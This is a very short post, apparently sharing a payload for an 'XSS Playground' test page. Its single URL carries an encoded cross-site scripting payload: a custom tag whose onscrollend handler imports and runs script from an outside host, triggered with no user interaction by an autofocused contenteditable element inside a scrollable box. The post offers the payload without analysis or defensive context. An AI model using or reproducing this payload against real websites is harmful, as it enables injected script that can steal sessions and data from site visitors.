XSS Playground ! title parameter =
https://hks.ec/XSSPlayground.php?body=%3Cmatae%2Fonscrollend%3Dimport%28%27%2F%2Fhks.ec%27%29+style%3D%22display%3Ablock%3Boverflow%3Aauto%3Bheight%3A100px%3B%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ckuro+id%3Dx+contenteditable+autofocus%3E%3C%2Fkuro%3E